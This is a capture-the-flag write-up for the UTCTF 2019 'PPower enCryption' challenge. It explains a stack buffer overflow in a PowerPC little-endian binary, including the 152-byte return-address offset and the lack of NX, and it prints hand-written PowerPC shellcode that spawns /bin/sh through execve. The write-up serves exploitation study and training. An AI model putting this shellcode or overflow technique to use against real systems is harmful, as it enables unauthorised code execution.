UTCTF 2019 - PPower enCryption (1150pt)

PowerPC Shellcode

March 10, 2019
exploit

PPower enCryption (1150pt)

Exploitation

Description: nc stack.overflow.fail 9001

Files:

Solution

The challenge binary is a 64-bit PowerPC little-endian ELF. It appears to be some sort of echo service when we run it:

This is the UT encryption service.
We take your strings and make them into other strings!
Enter a string

After giving input:

This is the UT encryption service.
We take your strings and make them into other strings!
Enter a string
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
31
Here's your string: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa c1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

So there seems to be a fixed length buffer and our input is being corrupted in some way.

Some simple reversing reveals that the program consists of the following steps:

  1. Read 1000 bytes into a global buffer (at address: 0x100d2b40)
  2. Call strlen on this buffer and XOR that many bytes with 0xcb
  3. Copy 1000 bytes from the buffer to a stack buffer of size 104
  4. Print some stuff

So there is a clear buffer overflow possibility here with some slight modification to our input buffer. Luckly NX was not enabled so we should theoretically be able to overwrite the return address with the address of our global buffer and craft some shellcode.

Not knowing much about PPC stack frames, I brute forced several overflow offsets and found that the buffer overwrite the return address after 152 bytes.

Initially, we tried adapting existing PPC shellcode instead of writing our own. However all of the shellcode online was created for big-endian systems and while it was possible to adapt it, we were running into strange issues. Eventually, I just caved and wrote my own shellcode.

In order to get a shell, we need to call execve("/bin/sh", 0, 0). In PPC calling convention, the following registers need to be set:

  • r0: 11 (syscall number)
  • r3 -> "/bin/sh" (first arg)
  • r4: 0
  • r5: 0

Then we do a sc instruction and get a shell.


Here was my final shellcode:

li 6, 16            ; r6 = 16 (for shift later)
li 0, 11            ; r0 = 11 (syscall_execve)
xor 3,3,3           ; r3 = 0
li 3, 0x100d        ; load upper 16 bits of string address
sld 3,3,6           ; shift to high bits
addi 3, 3, 0x2b64   ; load lower 16 bits
xor 4,4,4           ; r4 = 0
xor 5,5,5           ; r5 = 0
sc                  ; do the syscall
.long 0x6e69622f    ; "/bin/sh\x00"
.long 0x68732f
comments powered by Disqus